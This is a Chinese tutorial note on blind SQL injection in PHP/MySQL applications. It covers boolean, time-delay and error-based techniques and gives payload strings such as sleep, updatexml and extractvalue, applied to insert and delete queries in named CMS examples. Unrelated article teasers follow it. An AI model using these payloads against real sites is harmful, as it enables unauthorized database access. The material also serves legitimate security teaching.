Day44:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

目录

PHP-MYSQL-SQL操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

基于时间的SQL盲注-延时判断(不需要任何回显)

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS案例-插入报错&删除延迟


知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理

PHP-MYSQL-SQL操作-增删改查

功能:数据查询(对数据感兴趣) 一般能用union、布尔盲注

查询:SELECT * FROM news where id=$id

功能:新增用户,添加新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

增加:INSERT INTO news (字段名) VALUES (数据)

功能:删除用户,删除新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

删除:DELETE FROM news WHERE id=$id

功能:修改用户,修改文章等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

修改:UPDATE news SET id=$id

就是因为查与增删改的区别不同,所以才有了盲注的知识点

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

2、基于时间的SQL盲注-延时判断

if,sleep

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

参考:
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

and length ( database ()) = 7 ;

and left(database(),1)='p';

and left(database(),2)='pi';

and substr(database(),1,1)='p';

and substr(database(),2,1)='i';

and ord(left(database(),1))=112;

regexp,like,ascii,left,ord,mid

and length(database())=7; //判断数据库database()名的长度是不是等于7

and left(database(),1)=‘p’; //left(a,b)从左侧截取a的前b位

and left(database(),2)=‘pi’; //left(a,b)从左侧截取a的前b位

基于时间的SQL盲注-延时判断(不需要任何回显)

and sleep ( 1 );

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

and updatexml ( 1 , concat ( 0x7e ,( SELECT version ()), 0x7e ), 1 )

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

更多:https://www.jianshu.com/p/bc35f8dd4f7c

PHP-MYSQL-注入条件-数据回显&错误处理

PHP 开发项目 - 输出结果 & 开启报错

基于延时:都不需要

and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

and length(database())=6

基于报错:有数据库报错处理判断标准

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

PHP-MYSQL-CMS案例-插入报错&删除延迟

xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’ //需要加单引号进行闭合

kkcms-delete延时(当访问php脚本页面空白时就要想到会不会出现其他脚本包含该脚本的情况,并且其他脚本里写有HTML代码去进行调用)

and if(1=1,sleep(5),0) and的是前后条件都符合才行
or if(1=1,sleep(5),0) or是前后条件符合一个就可以

or if(ord(left(database(),1))=107,sleep(2),0)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/563142.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

保研复习概率论1

1.什么是随机试验&#xff08;random trial&#xff09;&#xff1f; 如果一个试验满足试验可以在相同的条件下重复进行、试验所有可能结果明确可知&#xff08;或者是可知这个范围&#xff09;、每一次试验前会出现哪个结果事先并不确定&#xff0c;那么试验称为随机试验。 …

FileZilla 链接服务器提示 20 秒连接超时

FileZilla 有个默认设置是如果 20 秒没有数据的话会自动中断链接。 Command: Pass: **************** Error: Connection timed out after 20 seconds of inactivity Error: Could not connect to server修改配置 这个配置是可以修改的&#xff0c;修改的步骤为&#xff1a; …

C# Solidworks二次开发:获取主窗口API和创建新活动窗口API详解

今天要讲的是Solidworks中的两个API。 &#xff08;1&#xff09;Frame Method (ISldWorks)&#xff1a;获取SOLIDWORKS主框架。 下面是API中给出的例子&#xff1a; public void Main(){ModelDoc2 swModelDoc default(ModelDoc2);Frame swFrame default(Frame);ModelWindow…

网络安全实训Day8

写在前面 网络工程终于讲完了。这星期到了网络安全技术部分。 网络安全实训-网络安全技术 网络安全概述 信息安全&#xff1a;所有保障计算机硬件、系统、软件、数据不因有意或无意的行为导致的服务中断、数据损坏或丢失等安全事件的保障技术 网络安全&#xff1a;基于计算机…

解决淘宝镜像过期问题 ERR! request https://registry.npm.taobao.org

目录 一、问题描述 二、解决方案 2.1、针对于域名更换解决方案 2.2、针对于证书过期解决方案 三、进行测试 一、问题描述 针对于2022年5月31号和2024年1 月 22 日前的前端项目 npm.taobao.org和旧域名于2021年官方公告域名更换事件&#xff0c;已于2022年05月31日零时起…

Spark Stage

Spark Stage 什么是Stage Spark中的一个Stage只不过是物理执行计划其中的一个步骤&#xff0c;它是物理执行计划的一个执行单元。一个Job会被拆分为多组Task&#xff0c;每组任务被称为一个Stage&#xff0c;可以简单理解为MapReduce里面的Map Stage&#xff0c; Reduce Stag…

【Node.js】全局变量和全局 API

node 环境中没有 dom 和 bom &#xff0c;此外 es 基本上都是可以正常使用的。 如果一定要使用 dom 和bom&#xff0c;可以借助第三方库 jsdom 帮助我们实现操作。npm i jsdom 实例&#xff1a; const fs require(node:fs) const {JSDOM} require(jsdom)const dom new JS…

YOLOv9/YOLOv8算法改进【NO.106】使用YOLOv7下采样进行改进

前 言 YOLO算法改进系列出到这&#xff0c;很多朋友问改进如何选择是最佳的&#xff0c;下面我就根据个人多年的写作发文章以及指导发文章的经验来看&#xff0c;按照优先顺序进行排序讲解YOLO算法改进方法的顺序选择。具体有需求的同学可以私信我沟通&#xff1a; 首推…

SQLiteC/C++接口详细介绍sqlite3_stmt类(六)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;五&#xff09; 下一篇&#xff1a; SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;七&#xff09; 17. sqlite3_clear_bindings函数 sqlite3_clear_bindings函…

Axure RP 9 for Mac中文激活版:原型设计工具

Axure RP 9 for Mac是一款值得设计师信赖的原型设计工具。它以其卓越的性能和稳定的运行赢得了广大用户的赞誉。 软件下载&#xff1a;Axure RP 9 for Mac中文激活版下载 在Axure RP 9中&#xff0c;您可以尽情发挥自己的设计才华&#xff0c;创造出独一无二的原型作品。无论是…

【排序算法】实现快速排序值(霍尔法三指针法挖坑法优化随机选key中位数法小区间法非递归版本)

文章目录 &#x1f4dd;快速排序&#x1f320;霍尔法&#x1f309;三指针法&#x1f320;挖坑法✏️优化快速排序 &#x1f320;随机选key&#x1f309;三位数取中 &#x1f320;小区间选择走插入&#xff0c;可以减少90%左右的递归&#x1f309; 快速排序改非递归版本&#x1…

阿里云OSS存储的视频如何加水印

OSS是不能进行视频添加水印的&#xff0c;可以图片添加水印。 您可以在视频点播中进行配置&#xff1a; https://help.aliyun.com/zh/vod/user-guide/video-watermarks?spma2c4g.11186623.0.i2 原来的业务代码都是使用python 对oss的 视频进行上传 的,上传的视频路径已经保存到…